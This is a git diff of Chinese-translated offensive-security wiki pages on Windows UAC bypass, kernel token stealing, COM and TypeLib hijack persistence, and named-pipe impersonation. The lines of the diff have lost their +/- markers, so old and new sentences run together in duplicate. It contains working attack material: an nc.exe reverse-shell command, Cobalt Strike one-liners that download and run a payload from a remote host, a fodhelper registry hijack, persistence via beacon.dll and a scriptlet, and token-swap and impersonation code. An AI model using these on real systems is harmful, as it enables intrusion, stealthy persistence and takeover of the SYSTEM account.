如果 **`0`**(默认),**built-in Administrator account can** 执行远程管理任务;如果 **`1`****built-in account Administrator cannot** 执行远程管理任务,除非 `LocalAccountTokenFilterPolicy` 被设置为 `1`
如果**`0`**(默认),**内置 Administrator 帐户可以** 执行远程管理任务;如果为 **`1`**,内置 Administrator 帐户**无法** 执行远程管理任务,除非 `LocalAccountTokenFilterPolicy` 被设置为 `1`
#### Summary
#### 摘要
- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
@ -83,23 +84,23 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5
All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
You can also check the groups of your user and get the integrity level:
你也可以检查你的用户所属的组并获取完整性级别:
```
net user %username%
whoami /groups | findstr Level
```
## UAC 绕过
## UAC bypass
> [!TIP]
> 注意,如果你有受害者的图形界面访问权限UAC 绕过非常简单,因为当 UAC 提示出现时你只需点击“是”。
> 注意,如果你对受害者有图形界面访问UAC bypass 非常简单,因为当 UAC 提示出现时你只需点击 "Yes"
UAC 绕过在以下情况下需要:**UAC 已启用你的进程运行在中等完整性上下文medium integrity context并且你的用户属于 Administrators 组**
The UAC bypass is needed in the following situation: **UAC 已启用你的进程运行在中等完整性上下文medium integrity context并且你的用户属于管理员组administrators group**
需要指出的是,**如果 UAC 处于最高安全级别Always比起处于其他任何级别Default要难得多**。
It is important to mention that it is **当 UAC 处于最高安全级别 (Always) 时,绕过 UAC 要比处于其他任何级别 (Default) 更困难得多。**
### UAC 已禁用
### UAC disabled
如果 UAC 已经被禁用(`ConsentPromptBehaviorAdmin`**`0`**),你可以使用类似下面的方法**以管理员权限执行 reverse shell**(高完整性级别):
If UAC is already disabled (`ConsentPromptBehaviorAdmin` is **`0`**) you can **execute a reverse shell with admin privileges** (high integrity level) using something like:
```bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
@ -110,12 +111,12 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
### **非常** Basic UAC "bypass" (完整文件系统访问)
### **非常** 基本的 UAC "bypass"(完全 file system 访问)
If you have a shell with a user that is inside the Administrators group you can **mount the C$** shared via SMB (文件系统) local in a new disk and you will have **access to everything inside the file system** (even Administrator home folder).
如果你有一个属于 Administrators group 的用户的 shell你可以在本地将 C$ 共享通过 SMB 挂载为一个新的 disk这样就可以访问 file system 中的所有内容(甚至 Administrator home folder
> [!WARNING]
> **看起来这个技巧不再有效了**
> **看起来这个技巧现在已无法使用**
```bash
net use Z: \\127.0.0.1\c$
cd C$
@ -123,9 +124,9 @@ cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
```
### UAC bypass with cobalt strike
### 使用 cobalt strike 绕过 UAC
Cobalt Strike 技术只有在 UAC 未设置为其最高安全级别时才会生效。
只有当 UAC 未设置为最高安全级别时Cobalt Strike 技术才会生效。
```bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
@ -137,18 +138,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
```
**Empire** 和 **Metasploit** 也有若干模块可以 **bypass** **UAC**
**Empire** 和 **Metasploit** 也有若干模块用于 **bypass** **UAC**
### KRBUACBypass
Documentation and tool in [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
文档和工具位于 [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
### UAC bypass exploits
[**UACME** ](https://github.com/hfiref0x/UACME) 是若干 UAC bypass exploits 的 **集合**。注意你需要使用 **Visual Studio 或 msbuild 来编译 UACME**。编译会生成多个可执行文件(例如 `Source\Akagi\outout\x64\Debug\Akagi.exe`),你需要知道 **哪个是你需要的。**\
你应该 **小心**,因为些 bypasses 会 **触发其他程序的提示**,从而 **提醒** **用户**异常发生。
[**UACME** ](https://github.com/hfiref0x/UACME) 是多个 UAC bypass exploits 的 **汇总**。注意,你需要 **compile UACME using visual studio or msbuild**。编译将生成多个可执行文件(例如 `Source\Akagi\outout\x64\Debug\Akagi.exe`),你需要知道 **哪个是你需要的。**\
你应该 **小心**,因为些 bypasses 会 **触发其他程序的提示**,从而 **提醒** **用户**事情正在发生。
UACME 列出了每种技术开始生效的 **构建版本**。你可以搜索影响你版本的技术:
UACME 包含 **每种技术开始生效的 build 版本**。你可以搜索影响你所用版本的技术:
```
PS C:\> [environment]::OSVersion.Version
@ -156,11 +157,11 @@ Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
```
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
另外,使用 [this](https://en.wikipedia.org/wiki/Windows_10_version_history) 页面可以从 build 版本得到 Windows 发布 `1607`
### UAC Bypass fodhelper.exe (Registry hijack)
受信任的二进制文件 `fodhelper.exe`较新的 Windows 上会自动提升权限。启动时,它会查询下面的每用户注册表路径,但不会验证 `DelegateExecute`作。在该位置植入命令可以让一个 Medium Integrity 进程(用户属于 Administrators在不弹出 UAC 提示的情况下生成一个 High Integrity 进程。
受信任的二进制文件 `fodhelper.exe`现代 Windows 上会自动提升权限。启动时,它会查询下面的每用户注册表路径,但不会验证 `DelegateExecute`词。在该路径植入命令可以让一个 Medium Integrity 进程(用户属于 Administrators在不弹出 UAC 提示的情况下生成一个 High Integrity 进程。
Registry path queried by fodhelper:
```
@ -185,45 +186,45 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
# 4) (Recommended) Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
```
Notes:
- 当当前用户属于 Administrators 并且 UAC 级别为默认/宽松(不是设置为 Always Notify 并带有额外限制)时可行
- 使用 `sysnative` 路径在 64-bit Windows 上从 32-bit 进程启动 64-bit PowerShell
- Payload 可以是任何命令PowerShell、cmd EXE 路径)。为隐蔽起见,避免触发弹出提示界面
注意:
- 当当前用户是 Administrators 成员且 UAC 级别为默认/宽松(不是 Always Notify 并附加额外限制)时有效
- 在 64 位 Windows 上,从 32 位进程启动 64 位 PowerShell 时使用 `sysnative` 路径
- Payload 可以是任何命令PowerShell、cmd可执行文件路径)。为保持隐蔽性,避免弹出提示类 UI
#### 更多 UAC 绕过方法
#### More UAC bypass
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
你可以使用一个 **meterpreter** 会话。迁移到一个 **process**,其 **Session** 值等于 **1**
![](<../../images/image (863).png>)
(_explorer.exe_ 应该可行)
(_explorer.exe_ should works)
### 使用 GUI 绕过 UAC
### UAC Bypass with GUI
如果可以访问 **GUI你可以在弹出 UAC 提示时直接接受**,其实不需要真正的绕过方法。因此,获得 GUI 访问即可让你绕过 UAC。
如果你能访问一个 **GUI**,当出现 UAC prompt 时你可以直接接受,实际上不需要绕过。因此,获得 GUI 访问即可绕过 UAC。
此外,如果你获得了某人在使用的 GUI 会话(可能通过 RDP会有 **一些以管理员身份运行的工具**,你可以从那里直接以管理员身份运行一个 **cmd**,例如 [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif),而不会再次被 UAC 提示打断。这可能更具 **隐蔽性**。
此外,如果你获得的是别人正在使用的 GUI 会话(例如通过 RDP某些工具会以 administrator 身份运行,你可以直接从这些工具运行 cmd例如 as admin不会再次被 UAC 提示,如 [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)。这可能更为 **stealthy**。
### 嘈杂的强制提升 UAC 绕过
### Noisy brute-force UAC bypass
如果你不在噪声,可以运行类似 [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) 的工具,它会不断请求权限提升,直到用户接受为止
如果你不在噪声,可以运行类似 [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) 的工具,不断请求提升权限直到用户接受。
### 自行开发绕过方法 - 基本 UAC 绕过方法论
### Your own bypass - Basic UAC bypass methodology
如果查看 **UACME**,你会注意到 **大多数 UAC 绕过利用了 Dll Hijacking vulnerabilit**y(主要是将恶意 dll 写入 _C:\Windows\System32_)。[Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
如果查看 **UACME**,你会注意到**大多数 UAC 绕过利用了 Dll Hijacking 漏洞**(主要是将恶意 dll 写入 _C:\Windows\System32_)。[Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
1. 找到**autoelevate** 的二进制(执行时在高完整性级别运行)。
2. 使用 procmon 查找可以导致 **DLL Hijacking** 的 "**NAME NOT FOUND**" 事件。
3. 你很可能需要将 DLL 写入一些 **受保护路径**(如 C:\Windows\System32这些路径可能没有写权限。你可以使用以下方法绕过:
1. **wusa.exe**: Windows 7,8 and 8.1。它允许将 CAB 文件的内容提取到受保护路径中(因为该工具以高完整性级别执行)。
2. **IFileOperation**: Windows 10。
4. 准备一个 **script**,将你的 DLL 复制到受保护路径并执行易受攻击且 autoelevated 的二进制。
1. 找到一个会 **autoelevate** 的二进制(确认其执行时处于高完整性级别)。
2. 使用 procmon 查找可能易受 **DLL Hijacking** 影响的 "**NAME NOT FOUND**" 事件。
3. 你可能需要将 DLL 写入某些 **受保护路径**(如 C:\Windows\System32在这些位置你没有写权限。你可以通过以下方式绕过:
1. **wusa.exe**:适用于 Windows 7、8 和 8.1。它允许在受保护路径中解压 CAB 文件的内容(因为该工具以高完整性级别执行)。
2. **IFileOperation**Windows 10。
4. 准备一个 **script**,将你的 DLL 复制到受保护路径并执行易受攻击且 autoelevated 的二进制。
### 另一种 UAC 绕过技术
### Another UAC bypass technique
该方法是观察某个 **autoElevated binary** 是否尝试从 **registry** 读取**执行****binary****command****name/path**(如果该二进制在 **HKCU** 中查找该信息则更为有趣)。
该方法是监视某个 **autoElevated binary** 是否尝试从 **registry** 读取要 **执行****binary****command****name/path**(如果该二进制在 **HKCU** 中查找这类信息,则更为有趣)。
## References
- [HTB: Rainbow SEH overflow to RCE over HTTP (0xdf) fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)

View File

@ -2,37 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
## Overview
## 概述
If a vulnerable driver exposes an IOCTL that gives an attacker arbitrary kernel read and/or write primitives, elevating to NT AUTHORITY\SYSTEM can often be achieved by stealing a SYSTEM access token. The technique copies the Token pointer from a SYSTEM process EPROCESS into the current process EPROCESS.
如果一个有漏洞的驱动暴露了一个 IOCTL使攻击者可以获得任意内核读写原语那么通过窃取 SYSTEM 访问 token 往往可以提升为 NT AUTHORITY\SYSTEM。该技术将 SYSTEM 进程的 EPROCESS 中的 Token 指针复制到当前进程的 EPROCESS 中。
Why it works:
- Each process has an EPROCESS structure that contains (among other fields) a Token (actually an EX_FAST_REF to a token object).
- The SYSTEM process (PID 4) holds a token with all privileges enabled.
- Replacing the current process EPROCESS.Token with the SYSTEM token pointer makes the current process run as SYSTEM immediately.
为什么可行:
- 每个进程都有一个 EPROCESS 结构,包含(除其他字段外)一个 Token实际上是指向 token 对象的 EX_FAST_REF
- SYSTEM 进程PID 4持有一个启用所有权限的 token。
- 将当前进程的 EPROCESS.Token 替换为 SYSTEM 的 token 指针会立即使当前进程以 SYSTEM 身份运行。
> Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags).
> EPROCESS 中的偏移因 Windows 版本而异。请动态确定symbols或使用特定版本的常量。另请记住 EPROCESS.Token 是一个 EX_FAST_REF低 3 位是引用计数标志)。
## High-level steps
## 高层步骤
1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess.
- From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases.
- Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address.
2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEMs EPROCESS.
3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both:
- EPROCESS_SYSTEM (for SYSTEM)
- EPROCESS_SELF (for the current process)
4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask).
5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEMs pointer to keep the embedded ref count consistent.
1) 定位 ntoskrnl.exe 基址并解析 PsInitialSystemProcess 的地址。
- 在用户态,可使用 NtQuerySystemInformation(SystemModuleInformation) 或 EnumDeviceDrivers 来获取已加载驱动的基址。
- 将 PsInitialSystemProcess 的偏移(来自符号/逆向)加到内核基址以得到其地址。
2) 读取 PsInitialSystemProcess 处的指针 → 这是指向 SYSTEM 的 EPROCESS 的内核指针。
3) 从 SYSTEM EPROCESS 读取 UniqueProcessId 和 ActiveProcessLinks 的偏移,通过双向链表遍历 EPROCESS 结构ActiveProcessLinks.Flink/Blink直到找到其 UniqueProcessId 等于 GetCurrentProcessId() 的 EPROCESS。保留两者
- EPROCESS_SYSTEM(用于 SYSTEM
- EPROCESS_SELF(用于当前进程)
4) 读取 SYSTEM token 值Token_SYS = *(EPROCESS_SYSTEM + TokenOffset)。
- 掩码掉低 3 位Token_SYS_masked = Token_SYS & ~0xF通常是 ~0xF 或 ~0x7取决于构建在 x64 上低 3 位被使用 — 0xFFFFFFFFFFFFFFF8 的掩码)。
5) 选项 A常见保留你当前 token 的低 3 位,并拼接到 SYSTEM 的指针上以保持嵌入的引用计数一致。
- Token_ME = *(EPROCESS_SELF + TokenOffset)
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive.
7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm.
6) 使用你的内核写入原语将 Token_NEW 写回 (EPROCESS_SELF + TokenOffset)。
7) 现在你的当前进程已是 SYSTEM。可选地启动一个新的 cmd.exe 或 powershell.exe 以确认。
## Pseudocode
## 伪代码
Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your drivers interface.
下面是一个骨架,只使用来自有漏洞驱动的两个 IOCTL一个用于 8 字节内核读取,一个用于 8 字节内核写入。请替换为你驱动的接口。
```c
#include <Windows.h>
#include <Psapi.h>
@ -106,16 +106,16 @@ return 0;
}
```
注意:
- 偏移:使用 WinDbg 的 `dt nt!_EPROCESS` 配合目标的 PDBs或使用运行时符号加载器以获取正确的偏移。不要盲目硬编码。
- 掩码:在 x64 上 token 是一个 EX_FAST_REF低 3 位是引用计数位。保留你 token 的原始低位可以避免立即的引用计数不一致。
- 稳定性:优先提升当前进程;如果你提升的是一个短生命周期的 helper当它退出时你可能会失去 SYSTEM。
- Offsets: Use WinDbgs `dt nt!_EPROCESS` with the targets PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly.
- Mask: On x64 the token is an EX_FAST_REF; low 3 bits are reference count bits. Keeping the original low bits from your token avoids immediate refcount inconsistencies.
- Stability: Prefer elevating the current process; if you elevate a short-lived helper you may lose SYSTEM when it exits.
## 检测 & 缓解
- 加载未签名或不受信任的第三方驱动暴露强大的 IOCTLs 是根本原因。
## 检测缓解
- 加载未签名或不受信任的第三方驱动且这些驱动暴露强大的 IOCTLs 是根本原因。
- Kernel Driver Blocklist (HVCI/CI)、DeviceGuard 和 Attack Surface Reduction 规则可以阻止易受攻击的驱动加载。
- EDR 可以监视实现任意读/写的可疑 IOCTL 序列以及 token swaps
- EDR 可以监视实现任意读/写 的可疑 IOCTL 序列以及 token 交换行为
## References
## 参考资料
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [FuzzySecurity Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)

View File

@ -4,21 +4,21 @@
### 搜索不存在的 COM 组件
由于 HKCU 的值可以被用户修改,**COM Hijacking** 可被用作 **持久化机制**。使用 `procmon` 很容易找到那些不存在但被查询的 COM 注册表项,攻击者可以创建这些项以实现持久化。筛选条件
由于 HKCU 的值可以被用户修改,**COM Hijacking** 可被用作一种**持久化机制**。使用 `procmon` 很容易找到被搜索但不存在的 COM 注册表项,攻击者可以创建这些项以实现持久化。过滤器
- **RegOpenKey** 操作。
- 其中 _Result_**NAME NOT FOUND**
- 且 _Path_**InprocServer32** 结尾。
一旦决定要冒充哪个不存在的 COM执行以下命令。_如果你决定冒充一个每隔几秒就被加载的 COM请小心这可能会造成过度影响overkill。_
一旦决定了要冒充的不存在的 COM请执行以下命令。_如果你决定冒充一个每隔几秒就被加载的 COM请小心因为这可能过于频繁。_
```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
```
### 可劫持的 Task Scheduler COM components
### 可劫持的 Task Scheduler COM 组件
Windows Tasks 使用 Custom Triggers 调用 COM objects并且因为它们通过 Task Scheduler 执行,所以更容易预测它们何时会被触发。
Windows Tasks 使用 Custom Triggers 调用 COM objects并且因为它们通过 Task Scheduler 执行,所以更容易预测它们何时会被触发。
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
$Tasks = Get-ScheduledTask
@ -49,9 +49,9 @@ Write-Host
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]</code></pre>
输出,你可以选择一个例如会在 **每次用户登录时** 执行的任务。
查输出,你可以选择一个例如会在 **每次用户登录时** 执行的任务。
现在在 **HKEY\CLASSES\ROOT\CLSID** 以及 HKLM 和 HKCU 中搜索 CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**,通常会发现该值在 HKCU 中不存在。
现在在 **HKEY\CLASSES\ROOT\CLSID** 以及 HKLM 和 HKCU 中搜索 CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**,通常会发现该值在 HKCU 中不存在。
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@ -72,32 +72,32 @@ Name Property
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
```
然后,你只需创建 HKCU 条目,每用户登录时,你的 backdoor 就会被触发。
然后,你只需创建 HKCU 条目,每用户登录时,你的 backdoor 就会被触发。
---
## COM TypeLib Hijacking (script: moniker persistence)
Type Libraries (TypeLib) 定义 COM 接口并通过 `LoadTypeLib()` 加载。当一个 COM server 被实例化时,操作系统也可能通过查阅位于 `HKCR\TypeLib\{LIBID}` 下的注册表键来加载关联的 TypeLib。如果 TypeLib 路径被替换为一个 **moniker**,例如 `script:C:\...\evil.sct`,当解析该 TypeLib 时 Windows 会执行该 scriptlet —— 从而产生一种隐蔽的持久化,当常用组件被访问时触发
Type Libraries (TypeLib) 定义 COM 接口,并通过 `LoadTypeLib()` 加载。当 COM server 被实例化时,操作系统可能会通过查阅注册表键 `HKCR\TypeLib\{LIBID}` 来加载关联的 TypeLib。如果将 TypeLib 路径替换为一个 **moniker**,例如 `script:C:\...\evil.sct`,当解析该 TypeLib 时Windows 会执行该 scriptlet——从而产生一种在常见组件被访问时触发的隐蔽持久化方式
已在 Microsoft Web Browser control 上观察到此类行为(该控件常由 Internet Explorer、嵌入 WebBrowser 的应用程序,甚至 `explorer.exe` 加载)
这已在 Microsoft Web Browser control常被 Internet Explorer、嵌入了 WebBrowser 的应用,甚至 `explorer.exe` 加载)中被观察到
### 步骤 (PowerShell)
1) 识别被高频率 CLSID 使用的 TypeLib (LIBID)。常被恶意软件链滥用的示例 CLSID`{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}`Microsoft Web Browser
1) 识别被高频 CLSID 使用的 TypeLib (LIBID)。示例:常被 malware chains 滥用的 CLSID`{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}`Microsoft Web Browser
```powershell
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
```
2) 将 per-user TypeLib 路径指向本地 scriptlet使用 `script:` moniker不需要管理员权限:
2) 将 per-user TypeLib 路径指向使用 `script:` moniker 的本地 scriptlet不需要管理员权限
```powershell
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
```
3) 放置一个最小的 JScript `.sct`,重新启动你的主 payload例如初始链使用的 `.lnk`
3) 投放一个最小的 JScript `.sct`,用于重新运行你的主 payload例如初始链使用的 `.lnk`
```xml
<?xml version="1.0"?>
<scriptlet>
@ -114,9 +114,9 @@ sh.Run(cmd, 0, false);
</script>
</scriptlet>
```
4) 触发 打开 IE、嵌入了 WebBrowser control 的应用程序,或甚至常规的 Explorer 活动会加载 TypeLib 并执行 scriptlet从而在 logon/reboot 时重新为你的链路上膛
4) Triggering 打开 IE、嵌入 WebBrowser control 的应用程序,或甚至常规的 Explorer 活动会加载 TypeLib 并执行 scriptlet从而在 logon/reboot 时重新激活你的 chain
清理
Cleanup
```powershell
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
@ -124,8 +124,8 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
```
注意事项
- 你可以将相同逻辑应用于其他高频 COM 组件;始终先从 `HKCR\CLSID\{CLSID}\TypeLib` 解析真实的 `LIBID`
- 在 64-bit 系统上,也可以为 64-bit 客户端填充 `win64` 子键。
- 您可以将相同的逻辑应用到其他高频 COM 组件;始终先从 `HKCR\CLSID\{CLSID}\TypeLib` 解析真实的 `LIBID`
- 在 64-bit 系统上,也可以为 64-bit 客户端填充 `win64` 子键。
## 参考资料

View File

@ -2,27 +2,27 @@
{{#include ../../banners/hacktricks-training.md}}
Named Pipe client impersonation 是一种本地提权原语,允许 named-pipe 服务器线程采用连接到它的客户端的安全上下文。实际上,能够以 SeImpersonatePrivilege 运行代码的攻击者可以强制一个有特权的客户端(例如 SYSTEM 服务)连接到攻击者控制的 pipe调用 ImpersonateNamedPipeClient将生成的令牌复制为主令牌然后以该客户端的身份通常为 NT AUTHORITY\SYSTEM创建进程
Named Pipe client impersonation 是一个本地权限提升原语,允许命名管道服务器线程采用连接到它的客户端的安全上下文。实际上,能够以 SeImpersonatePrivilege 运行代码的攻击者可以强迫一个特权客户端例如SYSTEM 服务)连接到攻击者控制的管道,调用 ImpersonateNamedPipeClient将得到的令牌复制为主令牌然后以该客户端的身份创建进程通常是 NT AUTHORITY\SYSTEM
本页着重介绍核心技术。要了解将 SYSTEM 诱导到你控制的 pipe 的端到端利用链,请参见下文提到的 Potato family 页面。
本页侧重于核心技术。关于将 SYSTEM 强制连接到你管道的端到端利用链,请参见下文提到的 Potato 家族页面。
## TL;DR
- Create a named pipe: \\.\pipe\<random> and wait for a connection.
- Make a privileged component connect to it (spooler/DCOM/EFSRPC/etc.).
- Read at least one message from the pipe, then call ImpersonateNamedPipeClient.
- Open the impersonation token from the current thread, DuplicateTokenEx(TokenPrimary), and CreateProcessWithTokenW/CreateProcessAsUser to get a SYSTEM process.
- 创建命名管道:\\.\pipe\<random> 并等待连接。
- 让一个特权组件连接到它spooler/DCOM/EFSRPC/etc.)。
- 从管道至少读取一条消息,然后调用 ImpersonateNamedPipeClient。
- 从当前线程打开模拟令牌DuplicateTokenEx(TokenPrimary),并使用 CreateProcessWithTokenW/CreateProcessAsUser 获取一个 SYSTEM 进程。
## 要求和关键 APIs
## Requirements and key APIs
- 调用进程/线程通常需要的权限:
- SeImpersonatePrivilege用于成功模拟连接的客户端并使用 CreateProcessWithTokenW。
- 或者,在模拟 SYSTEM 之后,可以使用 CreateProcessAsUser这可能需要 SeAssignPrimaryTokenPrivilege 和 SeIncreaseQuotaPrivilege在你模拟 SYSTEM 时这些权限已满足)。
- 核心使用的 API
- SeImpersonatePrivilege 用于成功模拟连接的客户端并使用 CreateProcessWithTokenW。
- 或者,在模拟 SYSTEM 之后,可以使用 CreateProcessAsUser这可能需要 SeAssignPrimaryTokenPrivilege 和 SeIncreaseQuotaPrivilege当你模拟为 SYSTEM 时,这些权限已满足)。
- 使用的核心 API
- CreateNamedPipe / ConnectNamedPipe
- ReadFile/WriteFile (在模拟之前必须至少读取一条消息)
- ImpersonateNamedPipeClient and RevertToSelf
- ReadFile/WriteFile(在模拟之前必须至少读取一条消息)
- ImpersonateNamedPipeClient RevertToSelf
- OpenThreadToken, DuplicateTokenEx(TokenPrimary)
- CreateProcessWithTokenW or CreateProcessAsUser
- 模拟级别:要在本地执行有用操作,客户端必须允许 SecurityImpersonation许多本地 RPC/named-pipe 客户端的默认设置)。客户端在打开 pipe 时可以使用 SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION 降低此级别。
- CreateProcessWithTokenW CreateProcessAsUser
- Impersonation level要在本地执行有用操作客户端必须允许 SecurityImpersonation这是许多本地 RPC/命名管道客户端的默认设置)。客户端可以在打开管道时通过 SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION 降低此级别。
## Minimal Win32 workflow (C)
```c
@ -69,11 +69,11 @@ return 0;
}
```
注意:
- 如果 ImpersonateNamedPipeClient 返回 ERROR_CANNOT_IMPERSONATE (1368),请确保先从管道读取数据,并确认客户端没有将模拟限制为 Identification 级别
- 优先使用 DuplicateTokenEx 并指定 SecurityImpersonation 和 TokenPrimary 来创建适合用于创建进程的主令牌。
- 如果 ImpersonateNamedPipeClient 返回 ERROR_CANNOT_IMPERSONATE (1368),请确保先从管道读取,并确认客户端没有将 impersonation 限制为 Identification level
- 优先使用 DuplicateTokenEx,配合 SecurityImpersonation 和 TokenPrimary以创建适合用于进程创建的主令牌。
## .NET 快速示例
在 .NET 中NamedPipeServerStream 可以通过 RunAsClient 进行模拟。一旦模拟成功,复制线程令牌并创建进程。
在 .NET 中NamedPipeServerStream 可以通过 RunAsClient 进行 impersonation。一旦进行 impersonation,复制线程令牌并创建进程。
```csharp
using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
class P {
@ -93,8 +93,8 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref
}
}
```
## 常见触发/强制方式以使 SYSTEM 连接到你的 named pipe
这些技术强制特权服务连接到你的 named pipe以便你 impersonate 它们:
## 常见触发/强制手段,让 SYSTEM 连接到你的管道
These techniques coerce privileged services to connect to your named pipe so you can impersonate them:
- Print Spooler RPC trigger (PrintSpoofer)
- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
- EFSRPC pipes (EfsPotato/SharpEfsPotato)
@ -118,19 +118,19 @@ from-high-integrity-to-system-with-name-pipes.md
{{#endref}}
## 故障排查与注意事项
- 在调用 ImpersonateNamedPipeClient 之前,必须至少从 pipe 读取一条消息;否则会遇到 ERROR_CANNOT_IMPERSONATE (1368)。
- 如果客户端以 SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION 连接,服务器无法完全 impersonate通过 GetTokenInformation(TokenImpersonationLevel) 检查令牌的 impersonation level。
- CreateProcessWithTokenW 要求调用者具有 SeImpersonatePrivilege。如果失败并返回 ERROR_PRIVILEGE_NOT_HELD (1314),在你已经 impersonated SYSTEM 后使用 CreateProcessAsUser。
- 如果你加固了 pipe确保其 security descriptor 允许目标服务连接;默认情况下,位于 \\.\pipe 下的 pipes 的访问由服务器的 DACL 决定
- 在调用 ImpersonateNamedPipeClient 之前,必须至少从管道读取一条消息;否则会收到 ERROR_CANNOT_IMPERSONATE (1368)。
